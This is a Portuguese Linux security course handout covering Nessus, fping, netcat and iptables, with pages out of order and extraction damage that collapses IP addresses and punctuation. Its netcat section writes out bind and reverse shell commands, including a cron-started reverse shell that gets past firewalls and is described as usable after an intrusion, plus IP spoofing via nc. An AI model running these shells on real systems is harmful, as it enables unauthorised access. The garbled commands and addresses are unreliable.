Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 56 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005( Aba Perfs) (Aba Scan Options)( Aba Target Selection) (Aba KB)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 57 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005921)Iniciando a inspeccedilatildeo na sua redeAssim que vocecirc iniciar o nessus lhe seraacute solicitado a senha A primeira tela que iraacute surgir eacute a nessushost nesta tela se encontram aleacutem da opccedilotildees citadas acima o botatildeo de login clicando nele vocecirc ja poderaacuteconfigurar os plugins que seratildeo utilizados Agora na aba Plugins vocecirc escolhe quais ataques eexploraccedilotildees deveratildeo ser aplicadas aos seus alvos Como jaacute foi citado este eacute um dos maiores diferenciais donessus os plugins estatildeo separados por categorias e cada um deles possui um texto explicando o queaquele exploit faz e tambeacutem o grau de risco bem como resolver o problema caso esta vulnerabilidade sejaencontrada Caso alvos sejam maacutequinas que estatildeo em produccedilatildeo natildeo aconselho usar utilizar o plugins deDoS e nem aqules que possuem um sinal de alerta ao lado assim evitamos surpresas Se os alvosestiverem abertos para internet eacute importante marcar ao menos as seguintes categorias Gain ShellRemotely Gain Root Remotely Backdoors Remote File Access Cabe a vocecirc analisar quais pluginsdeveratildeo ser utilizados na varredura caso sua rede seja composta apenas por sistemas NIX natildeo existe amenor necessidade de utilizar os plugins referentes a Wingate por exemploApoacutes escolher os plugins mais adequandos a sua rede vamos escolher quais hosts seratildeoscaneados Clique na aba Target Selection e especifique as maacutequinas que deseja scanear ( todas elasdevem estar com o nessusd rodando ) Como mencionado acima vocecirc deve colocar os alvos(targets)separados por viacutergula ou especificar um arquivo de onde onde o nessus iraacute ler os alvosCom tudo configurado(geralmente natildeo eacute preciso mudar muita coisa) vocecirc pode iniciar a varreduraem sua rede para isto clique no botatildeo Start the scan Agora o nessus iraacute varrer sua rede isso podedemorar um pouco conforme a velocidade da rede e quantidade de plugins que vocecirc selecionouFeito a varredura podemos verificar a falhas de seguranccedila e as recomendaccedilotildees do nessus para asvulnerabilidades encontradas Na tela Nessus Report vocecirc vecirc os hosts scaneados a esquerda e as

vulnerabilidades encontradas em cada um deles aacute direita Clicando no sinal de + sobre as vulnerabilidadestem-se a explicaccedilatildeo do problema e tambeacutem como proceder para corrigi-lo Para uma futura referecircncia podesetambeacutem exportar o relatoacuterio basta escolher o formato e clicar em Save as recomendo escolher aopcatildeo Save as HTML with pies an graphs com isso nessus iraacute salvar os resultados na pasta que vocecircescolher e tambeacutem geraraacute graacuteficos sobre as vulnerabilidades de sua rede juntamente com o tradicionalrelatoacuterio em HTMLPara realizar a atualizaccedilatildeo de seus plugins o nessus possui um script que para funcionar necessitaque se esteja conectado na internet Para executa-lo rode o seguinte comandonessus-update-plugins -vProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 58 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Com a opccedilatildeo -v seratildeo exibidos os plugins que estatildeo sendo baixados Este script natildeo possuinenhuma forma para verificar a integridade dos plugins baixadospor isso use-o com cautela( leia amanpage deste script para maiores detalhes)93) FpingO fping eacute um programa que assim como ping utiliza o protocolo ICMP (_____

__ ________________________________ _________) para determinar se um ou vaacuterios noacutes da rede estatildeo ativos mas ao contraacuterio do ping ele permiterealizar a verificaccedilatildeo de vaacuterios noacutes ao mesmo tempo o endereccedilo dos noacutes pode ser passado via linha decomando ou atraveacutes de um arquivo textoO fping ao receber uma confirmaccedilatildeo de atividade automaticamente envia um aviso de atividade eexclui o host da lista de verificaccedilatildeo mas quando um noacute natildeo responde em no periacuteodo preacute determinado ele eacutetido como desligado ou natildeo alcanccedilaacutevelEste comando vem sendo largamente utilizado em cript devido seu baixo tempo de resposta e suasaiacuteda ser de faacutecil manipulaccedilatildeoEste comando aceita os seguintes paracircmetros-a lista somente aqueles noacutes que estatildeo ativos-A mostra o endereccedilo do noacute ao inveacutes do seu nome de domiacutenio-c informa quanto pacotes devem ser enviados para cada host-C assim como o anterior mas este informa no final o tempo de resposta em milisegundosde cada pacote-e mostra o tempo decorrido ateacute o recebimento do pacote de verificaccedilatildeo-i tempo miacutenimo em milisegundos entre o envio de dois pacotes a qualquer host da rede-l loop envia pacotes indefinidamente

-n utiliza o nome de domiacutenio do host na saiacuteda do comando-r nuacutemero de tentativas de alcanccedilar o host-u mostra somente os host que natildeo foram alcanccediladosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 59 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005ExemplosInforma o estado das maacutequinas utilizando o nome de domiacutenio delas como pode serobservado logo abaixofping -n 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbr is alivemailhostravelufrjbr is alivegw-etherravelufrjbr is alivemailhostravelufrjbr is alivewebsecravelufrjbr is unreachableInforma somente o nome das maacutequinas que estatildeo ativas como vemos abaixofping -na 1461643265 1461643267 1461643275 14616432100 1461643267nsravelufrjbrmailhostravelufrjbrgw-etherravelufrjbrmailhostravelufrjbrInforma somente o nome das maacutequinas que natildeo podem ser encontradas como podeser observado logo abaixofping -nu 1461643265 1461643267 1461643275 14616432100 1461643267websecravelufrjbrEnvia apenas dois pacotes para cada host e no final informa a taxa de pacotesenviados recebidos e perdidos como pode ser observado logo abaixofping -q -n -c 2 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr xmtrcvloss = 220 minavgmax = 500518537mailhostravelufrjbr xmtrcvloss = 220 minavgmax = 455473491websecravelufrjbr xmtrcvloss = 20100gw-etherravelufrjbr xmtrcvloss = 220 minavgmax = 51352553714616432101 xmtrcvloss = 550 minavgmax = 498586769Envia apenas cinco pacotes para cada host e no final informa o tempo de resposta decada um como pode ser observado logo abaixofping -q -n -C 5 1461643265 1461643267 1461643275 1461643210014616432101nsravelufrjbr 4902 5094 5203 5056 4667mailhostravelufrjbr 5294 5122 5260 4890 5056websecravelufrjbr - - - - -gw-etherravelufrjbr 4793 5404 5097 4785 494614616432101 6843 5201 5929 5331 7458

Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 60 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Informa o tempo de resposta de cada host informando o seu endereccedilo ip ao inveacutes doseu nome de domiacutenio como pode ser observado logo abaixofping -A -e protheusravelufrjbr websecravelufrjbr wwwyahoocombrwwwgmailcom1461643267 is alive (533 ms)200152161113 is alive (459 ms)64233171107 is alive (534 ms)1461643275 is unreachable93) NetcatNetcat eacute uma ferramenta usada para ler e escrever dados em conexotildees de rede usando o protocoloTCPIP Dada sua grande versatilidade o NetCat eacute considerado pelos hackers o canivete suiacuteccedilo do TCPIPpodendo ser usado para fazer desde portscans ateacute brute force attacksO nome netcat vem do comando cat do LinuxUnix O cat concatena arquivos e envia para a saiacutedapadratildeo (stdout) O netcat faz praticamente o mesmo poreacutem ao inveacutes de concatenar arquivos o netcatconcatena sockets TCP e UDP931) Opccedilotildees do Netcat-e comando Executa o comando especificado usando como entrada (stdin) os dados recebidospela rede e enviando os dados de saiacuteda (stdout e stderr) para a rede Essa opccedilatildeo somente estaraacute presentese o nc for compilado com a opccedilatildeo GAPING_SECURITY_HOLE jaacute que permite que usuaacuterios disponibilizemprogramas para qualquer um conectado a rede-i Especifica o intervalo de tempo no qual as linhas de texto seratildeo enviadas ou recebidas-l Coloca no netcat em estado de escuta (listening)-L Coloca no netcat em estado de escuta (listening) reiniciando o netcat com a mesma linha decomando caso a conexatildeo feche-n Forccedila o netcat a usar apenas endereccedilos de IP numeacutericos sem fazer consultas a servidoresDNS-o filename Usando para obter um log dos dados de entrada ou saiacuteda em formato hexadecimal-p Especifica a porta a ser usada sujeito a disponibilidade e a restriccedilotildees de privileacutegioProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 61 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-r Faz as portas do portscan serem escolhidas aleatoriamente-s Especifica o endereccedilo IP da interface usada para enviar os pacotes Pode ser usado para

spoofing de IPs bastando apenas configurar uma interface do tipo eth00 (usando o ifconfig) com o IPdesejado-t Permite usar o nc para criar sessotildees de telnet por script Precisa estar compilado com a opccedilatildeo-DTELNET-u Usar UDP ao inveacutes de TCP-v Controla o niacutevel de mensagens mostradas na tela-w Limita o tempo maacuteximo para que uma conexatildeo seja estabelecida-z Para evitar o envio de dados atraveacutes de uma conexatildeo TCP e limitar os dados de uma conexatildeoUDP932) Preparando as Interfaces de RedePara testar o netcat usaremos dois aliases na interface loopback (lo) do linux O endereccedilo IP defaultda interface lo no linux eacute 127001 Se mexermos com o endereccedilo 127001 podemos quebrar as nossasconexotildees de rede Ao inveacutes disso usaremos os aliases lo1 e lo2 para executarmos os testes Para atribuirendereccedilos IP agrave essas interfaces os seguintes comandos devem ser executados (como usuaacuterio root) naconsole do linux$ ifconfig lo1 10011$ ifconfig lo2 10012Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 62 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O comando ifconfig tambeacutem permite verificar se o comando foi bem sucedidoifconfiglo Link encapLocal Loopbackinet addr127001 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets10 errors0 dropped0 overruns0 frame0TX packets10 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes700 (7000 b) TX bytes700 (7000 b)lo1 Link encapLocal Loopbackinet addr10011 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes6935 (67 Kb)lo2 Link encapLocal Loopbackinet addr10012 Mask255000UP LOOPBACK RUNNING MTU16436 Metric1RX packets20848 errors911 dropped0 overruns0 frame926TX packets63 errors0 dropped0 overruns0 carrier0collisions0 txqueuelen0RX bytes1398645 (13 Mb) TX bytes7281 (71 Kb)

As interfaces de rede configuradas dessa forma permitem-nos trabalhar como se fossem doiscomputadores na mesma rede com IPs diferentes933) Colocando o Netcat para escutar uma portaO seguinte comando permite usar o netcat para escutar o traacutefego da redenc -vv -l -p8080Listening on any address 8080 (webcache)Para redirecionar a saiacuteda para um arquivo usa-se o seguinte formatonc -l -p8080 gt filenametxtPara conectar um cliente netcat usa-se o seguinte comandonc 10011 -p8080 gt filenametxtAssim tudo o que for digitado no cliente seraacute repetido no servidor (na primeira console) Use CTRLCpara terminar a conexatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 63 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O servidor deveraacute mostrar um breve resumo da conexatildeoTotal received bytes 5Total sent bytes 0934) Transferindo ArquivosTransferir arquivos de um host para outro usando o netcat eacute bastante simples Basta configurar olado server (que vai receber o arquivo) para escutar uma porta especiacutefica e redirecionar todos os dadosrecebidos para um arquivo Colocando-se um timeout o servidor iraacute perceber quando natildeo existem maisdados chegando e iraacute fechar a conexatildeo No lado cliente da conexatildeo simplesmente conecta-se agrave porta doservidor e passa-se o arquivo a ser transferido como entradaServidornc -vvn -l -p 3000 -w 30 gt fileListening on any address 3000Clientenc -vvn -w 2 10001 3000 lt file110001 3000 openO servidor iraacute mostrar a seguinte mensagem quando uma conexatildeo for estabelecidaConnection from 100011028Novamente a conexatildeo deve ser terminada usando-se o CTRL-C O servidor iraacute mostrarExitingTotal received bytes 6Total sent bytes 0Enquanto que o cliente mostraraacuteTotal received bytes 0Total sent bytes 6Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 64 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005

935) Emulando o serviccedilo de TelnetAgora que jaacute sabemos como fazer uma transferecircncia de arquivos podemos tentar algo mais uacutetil Porexemplo podemos nos conectar em uma maacutequina remota e executar alguns comandos sem passar pormecanismos de controle de acesso Para isso podemos usar o netcat com a opccedilatildeo -e Um simplesexemploNa console do servidor entrenc -l -p 5000 -e binbashNo clientenc 10011 5000Agora estamos conectados no servidor e com acesso ao shell Natildeo vemos o prompt mas podemosver a saiacuteda de cada comando enviado para o servidorlsbin dev home media opt root srv tmp varboot etc lib mnt proc sbin sys usr936) Criando um PortscanningEacute possiacutevel usar o netcat para fazer portscans Para isso deve-se usar a flag -z (zero IO mode) queapenas conecta e desconecta de uma determinada porta Para executar um scan um portas UDP deve-seusar a opccedilatildeo -uTCPnc -vvn -z xxxxxxxxxxxx start-endUDPnc -u -vvn -z xxxxxxxxxxxx start-endProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 65 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005No exemplo abaixo tentamos fazer um scan das portas 21 ateacute 26 Como pode-se ver portasfechadas resultam em um Connection refused e portas abertas mostram open O scan UDP eacutebasicamente o mesmonc -vvn -z 10001 21-2610001 21 (ftp) Connection refused10001 22 (ssh) open10001 23 (telnet) Connection refused10001 24 Connection refused10001 25 (smtp) Connection refused10001 26 Connection refusedTotal received bytes 0Total sent bytes 0937) Telnet ReversoMuitas empresas possuem algum tipo de link dedicado para acesso a internet Tambem possuemalgum tipo de firewall que bloqueia o acesso a rede interna que muitas vezes natildeo tem um IP vaacutelido que

podemos acessar Para logar remotamente em um computador dessa rede talvez para copiar algumarquivo importante para finalizar um trabalho que esteja fazendo de sua casa um cliente telnet ou ftp natildeopoderia ser usadoPor exemplo temos um servidor que aceita apenas conexotildees externas na porta 80 mas natildeo temum IP externo vaacutelido O computador de casa provavelmente possui um IP real vaacutelido e portas que podemser abertas ou fechadas conforme a necessidade Invertendo as direccedilotildees das conexotildees pode resolver esseproblema basta fazer o computador do escritoacuterio conectar no computador de casa recebendo comandos docliente a executando-os no servidor Essa teacutecnica eacute conhecida como Telnet ReversoVamos chamar o computador do escritoacuterio de WORK e o computador de casa HOME Se ocomputador HOME for configurado para usar IP dinacircmico precisaremos de um nome para DNS dinacircmicotipo o serviccedilo fornecido pela dyndnsorg No computador WORK configuramos um job cron para iniciar as1900 Como no exemplo anterior do telnet ele conecta ao homedyndnsorg e inicia uma sessatildeo bash Paraisso em casa deve-se iniciar (antes das 1900) o netcat da seguinte formanc -vv -l -p 80As 1000 WORK conecta ao HOME inicia o bash e estaacute pronto para executar qualquer comandoque queremosPara testar nosso telnet reverso na nossa rede virtual devemos colocar o cliente (HOME) em modoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 66 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005de espera escutando uma conexatildeonc -vv -l -p 80Listening on any address 80Para conectar a partir do servidor (WORK)nc 10011 80 -e binbashEssa teacutecnica eacute bem simples e eficiente pois usa somente a porta 80 que dificilmente estaraacutebloqueada no firewall A partir do computador HOME vocecirc pode enviar comandos para o WORK e recebero resultado localmenteAleacutem disso o telnet reverso pode ser usado para ganhar uma console de um servidor depois deuma invasatildeo938) Banner-grabbingBanner-grabbing consiste em enviar para o destino strings especiacuteficas a partir de um arquivo e

receber os resultados na tela O exemplo a seguir inclui um laccedilo for baacutesico para fazer o scan de muacuteltiplosdestinos de uma vez O arquivo WEBtxt deve conter head http10e dois enters ou apenas os dois enters para funcionar em outras portas aleacutem da 80 O arquivoIPlist deve conter a lista dos endereccedilos IP a serem scaneados10011Apoacutes criar esses dois arquivos executefor f in `cat IPlisttxt` do nc $f 80 lt WEBtxt doneProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 67 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005O resultado deveraacute ser algo do tipoHTTP11 501 Method Not ImplementedDate Mon 13 Dec 1999 081931 GMTServer Apache2040 (Red Hat Linux)Vary accept-languageAccept-Ranges bytesContent-Length 993Connection closeContent-Type texthtml charset=ISO-8859-1Expires Mon 13 Dec 1999 081931 GMTltxml version=10 encoding=ISO-8859-1gtltDOCTYPE html PUBLIC -W3CDTD XHTML 11ENhttpwwww3orgTRxhtml11DTDxhtml11dtdgtlthtml xmlns=httpwwww3org1999xhtml xmllang=engtltheadgtlttitlegtCannot process requestlttitlegtltmeta http-equiv=Content-Type content=texthtml charset=iso-8859-1 gtltlink rev=made href=mailtorootlocalhost gtltstyle type=textcssgtlt--body color 000000 background-color FFFFFF alink color 0000CC --gtltstylegtltheadgtltbodygtlth1gtCannot process requestlth1gtltdlgt ltddgtThe server does not support the action requested by the browserltddgtltdlgtltdlgtltddgtIf you think this is a server error please contactthe lta href= mailtorootlocalhos t gtwebmasterlta gtltddgtltdlgtlth2gtError 501lth2gtltdlgt ltddgtltaddressgtlta href=gtlocalhostlocaldomainltagtltbr gt

ltsmallgtMon Dec 13 001931 1999ltsmallgtltbr gtltsmallgtApache2040 (Red Hat Linux)ltsmallgtltaddressgtltddgt ltdlgtltbodygtlthtmlgtVocecirc pode inclusive usar o netcat para enviar um exploit para o destino Quando a conexatildeo eacuteHTTPS vocecirc usar o stunnel para tunelar o nc ou apenas o proacuteprio stunnel Para mais detalhes veja a manpage do stunnelman stunnelProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 68 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005A sintaxe do comando deveraacute ser algo parecido com a seguinte linha(echo HEAD HTTP10 echo ) | usrsbinstunnel configuration-file hostport939) IP SpoofingUsando o netcat vocecirc pode fazer inclusive spoofing de endereccedilos IP Se vocecirc estiver escutando otraacutefego em um segmento vocecirc pode enviar esse traacutefego para outro host usando o protocolo UDPO comando deveraacute ser tipotcpdump -l -xX -vvv -tttt | nc -u -s spoofed_ip listener_ip ltportgtIsso tambeacutem requer que vocecirc configure o endereccedilo IP spoofed para um alias na sua interface deredeifconfig eth0N spoofed_iponde N eacute o alias a ser configurado Isso iraacute causar problemas com o host que estaacute sendo spoofed jaacuteque eacute feito o mesmo endereccedilo IP eacute propagado por dois hosts na mesma rede Para executar um spoofingsem causar tantos problemas use a ferramenta hping94) Outros ComandosBastile ele eacute um pacote de scripts utilizados para aumentar o niacutevel de seguranccedila do Linuxdesenvolvido para a distribuiccedilatildeo Red Hat com o pacote do Perl (Pratical Extraction and Report Language)deve ser uma das primeiras ferramentas a ser utilizada para proteger contra violaccedilotildees baacutesicas permitindoainda ativar e desativar opccedilotildees do sistema operacionalSATAN o aplicativo Security Administrators Tool for Analizing Network pode ser exectado emqualquer sistema Unix-Like e realiza dentre outras coisas a varredura de portas TCP varredura devulnerabilidades mais conhecidas oferece tutoriais que descrevem as vulnerabilidades e como explora-lasCOOPS Computer Oracle and Password System eacute um dos aplicativos utilizados para realizar

varredura do host local verificar o modo dos arquivos e as senhas faacuteceis No final de seu trabalho ele geraum relatoacuterio com a descriccedilatildeo e a accedilatildeo a ser tomada para resolver a violaccedilatildeoProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 69 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Tripwire este aplicativo informa se jaacute houve alguma invasatildeo no sistema Ele eacute um analisador deintegridade de arquivos e diretoacuterios durante sua execuccedilatildeo ele compara as informaccedilotildees existentes nosistema de arquivo com os dados preacuteviamente coletados e armazenados no banco de dados Normalmentesua atividade eacute agendada pela CRON do sistema Apoacutes ser executado ele produz um relatoacuterio com aspossiacuteveis violaccedilotildees que o sistema possa ter sofrido Quando executado periodicamente permite quebrechas de seguranccedila possam ser descobertas o mais raacutepido possiacutevelPGP este eacute uma ferramenta multi plataforma que atraveacutes da criptografia simeacutetrica permite protegero conteuacutedo eou a integridade dos dados trocados Ao enviar uma mensagem ele pode utilizar a chavepuacuteblica do destinataacuterio de tal modo que somente quem possuir sua chave privada poderaacute decifar amensagem que lhe foi enviadaHpingIcmpenumIcmpqueryStrobeUdp_scanSiphonp0fCheopsIcmpinfonttcpProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 70 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005Referencias[1] Net Urubatam Dominando Linux Firewall Iptables[2] Linux Magazine Nuacutemero 4 Ano I paacutegina 32[3] Arkin Ofir ICMP Usage in Scanning Julho de 2000[4] Fping ndash httpwwwfpingcom[5] RFC 1812 Requiriments for IPv4 Routers httpwwwietforgrfcrfc1812txt[6] RFC793 - TRANSMISSION CONTROL PROTOCOL DARPA INTERNET PROGRAMPROTOCOL SPECIFICATION Defense Advanced Research Projects Agency September 1981[7] IANA List of assigned ports ftpftpisieduin-notesianaassignmentsport-numbers

[8] Fyodor Remote OS derection via TCPIP Stack FingerPrinting 18 de Outubro de 1998[9] Arkin Ofir ICMP Usage in Scanning The Complete Know-How Versatildeo 30 Junho de 2001[10]Arkin Ofir e Yarochkin Fyodor X remote ICMP based OS Fingerprinting techniques Agosto de2001[11] Arkin Ofir A remote active OS fingerprinting tool using ICMP Abril de 2002[12] Arkin Ofir e Yarochkin Fyodor The Present and Future of Xprobe2 The Next Generation ofActive Operation System Fingerprinting julho de 2003[13] Cid Daniel B Identificaccedilatildeo Passiva de Sistemas Operacionais Maio de 2003[14] Nazario Jose Passive System Fingerprinting using Networking Client Applications 27 deNovembro de 2000[15] Smith Craing Know Your Enemy Passive Fingerprinting - Identifing remote hosts without thenkhnowing 4 de Marccedilo de 2002Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 71 de 71

Page 22: Curso de segurança em linux e redes em geral

63) Tipos de FirewallExistem vaacuterias classificaccedilotildees para os firewalls contudo as mais comuns satildeo Filtro de PacotesFirewall NAT e HiacutebridosOs filtros de pacotes realizam o controle de todo fluxo de dados direcionado ao host Atraveacutes daanaacutelise dos cabeccedilalhos dos pacotes nos vaacuterios niacuteveis da arquitetura de rede satildeo capazes de comparar seusconteuacutedos com regras de controle de acesso (ACLs) preacuteviamente definidas e entatildeo liberar ou natildeodeterminado fluxo de dadosJaacute um firewall NAT manipula a rota padratildeo de pacotes que atravessam o kernel do host ele realizaa traduccedilatildeo dos endereccedilos de origem de destino e algumas vezes pode inclusive realizar umredirecionamento de porta Este firewall pode ser classificado como SNAT DNAT e MasqueradingUm firewall SNAT normalmente eacute utilizado para fornecer acesso a uma rede privada apartir de umou vaacuterios endereccedilos IP fixo Jaacute o Masquerading realiza a mesma funccedilatildeo soacute que sobre endereccedilos E umfirewell baseado em DNAT pode ser utilizado na construccedilatildeo de uma DMZ ou de um cluster de servidoresO terceiro tipo de firewall seria o hiacutebrido que eacute aquele que realiza tanto filtragem de pacote quandoredirecionamento (NAT)Outra forma de classificaccedilatildeo dos firewall eacute quanto sua forma de atuaccedilatildeo dentro da pilha RMOSIneste caso os firewalls podem ser classificados como de Rede ou Gateways de AplicativosOs Firewalls de niacutevel de Rede satildeo na verdade roteadores com grande capacidade de filtragem depacote permitem que haja uma restriccedilatildeo a niacutevel de endereccedilo protocolo nuacutemero da porta e conteuacutedo Satildeofaacutecil implementaccedilatildeo poreacutem quando mal configurados estatildeo sujeitos a ataques do tipo spoofing Mas afiltragem normalmente impacta o processo de roteamento de modo que podemos afirmar que ldquoodesempenho do roteador eacute inversamente proporcional ao niacutevel de filtragem impostardquoJaacute os firewalls gateways de aplicativo normalmente funcionam como pontes entre duas redes ospacotes provenientes de fora da rede passam primeiro pelo gateways que age como um filtro escondendoassim a rede internaTodos os tipos de firewall possuem suas limitaccedilotildees o de niacutevel de rede possui uma visatildeo muitolimitada do que realmente acontece na rede Jaacute os gateways de aplicativo tem um conhecimento maior

sobre a aplicaccedilatildeo poreacutem satildeo soluccedilotildees especiacuteficas para cada aplicativo Um dos firewalls de aplicativosProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 27 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005mais conhecido eacute o SQUID que foi projetado para manipular os protocolos HTTP HTTPS e FTP64) IPTABLES O firewall do LinuxEste software eacute a quarta geraccedilatildeo de firewall no Linux e permite a realizaccedilatildeo da filtragem dospacotes nas sete camadas da RMOSI funcionando ainda como um firewall hiacutebrido As ACL utilizados porele estatildeo todas armazenadas em memoacuteria processo este que acelera os mecanismos de filtragem eredirecionamentoO iptables eacute um dos poucos firewalls em software totalmente implementado no kernel do sistemaoperacional garantindo assim maior niacutevel de seguranccedila a filtragem641) As tabelas o iptablesPara facilitar seu funcionamento e sua gerencia o iptables divide as ACLs em tabelas cada qualcom um funccedilatildeo especiacutefica As principais tabelas do iptables satildeo_ filter responsaacutevel pela filtragem de todos os pacotes que passam pelo host natildeoimportando origem e destino_ nat responsaacutevel pelo controle dos pacotes que passam pelo host mas cuja origem oudestino natildeo eacute o mesmo Esta tabela eacute utilizada quando desejamos utilizar o iptables paraconstruir ldquogatewaysrdquo de borda_ mangle permite alterar caracteriacutesticas especiacuteficas do pacote como por exemplo oTOS (Tipo de Serviccedilo) o que permite implementar um sistema simples de QOS( qualidade de serviccedilo)Prof Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 28 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005642) Fluxos do iptablesO iptables permite manipular vaacuterios fluxos dependendo da tabela utilizada sendo que a tabela ldquofilterrdquopossui os seguintes_ INPUT fluxo formado pelos pacotes cujo endereccedilo de destino eacute o proacuteprio host_ OUTPUT fluxo dos pacotes originados pelos aplicativos e serviccedilos hospedados nohost_ FORWARD fluxo composto por todos os pacotes que chegam ao host mas que satildeodestinados a outra maacutequina que normalmente estaacute na rede interna ou na DMZ Logo

este fluxo eacute utilizado para permitir a realizaccedilatildeo do NATA tabela ldquonatrdquo por sua vez possui os seguintes fluxos_ PREROUTING que permite realizar alteraccedilotildees nos pacotes antes que eles sejamroteados_ POSROUTING permite manipular os pacotes apoacutes seu processo de roteamento_ OUTPUT possibilita o redirecionamento dos pacotes que foram emitidos pelo hostJaacute a tabela ldquomanglerdquo possui os fluxos PREROUTING E OUTPUT643) Comandos do iptablesPara a manipulaccedilatildeo das ACLs armazenadas nas suas tabelas o iptables fornece os seguintescomandos-A adiciona uma nova regra no final da lista de regras de uma dada tabela-L lista todas as regras de uma determinada tabela-P define a poliacutetica padratildeo uma tabela ou seja a regra padratildeo que seraacute aplicada a umfluxo quando ele passar por todas as demaisProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 29 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005-F remove todas as regras de uma tabela sem alterar sua poliacutetica padratildeo-N cria nova nova ldquochainrdquo na tabela especificada-X apaga todas as ldquochainsrdquo de uma determinada tabela644) Accedilotildees do iptablesAs accedilotildees permitem categorizar melhor as ACLs fornecendo um tratamento mais detalhado sobrequais pacotes deveratildeo ser manipulados As principais accedilotildees fornecidas pelo iptables satildeo listadas abaixo-p especifica qual protocolo seraacute manipulado (TCP UDP ICMP etc)-i especifica a interface pela qual o pacote deve entrar (eth0 eth1 ppp0 ppp+)-o especifica a interface pela qual o pacote deve sair (eth0 eth1 ppp0 ppp+)-s informa a origem do pacote este valor pode ser um endereccedilo ip (19216825415)pode ser uma classe ip (19216825425424) pode ser um nome de maquina(ftpcyberootscombr) ou um domiacutenio ( cyberootscombr )--sport informa a porta a partir da qual o pacote seraacute enviado porta de origem-d informa o destino do pacote--dport informa a porta de destino do pacote-j informa o de deve ser feito com o pacote ou seja o alvo da regraProf Luiacutes Rodrigo de O Gonccedilalves luisrodrigooggmailcom wwwlrodrigocjbnet Paacutegina 30 de 71Apostila do Curso de Seguranccedila ndash DRAF 04 - Petroacutepolis 5 de Marccedilo de 2005645) Alvos da regrasQuando um fluxo se enquadra em todos os quesitos especificados por uma regra ele poderaacute entrar

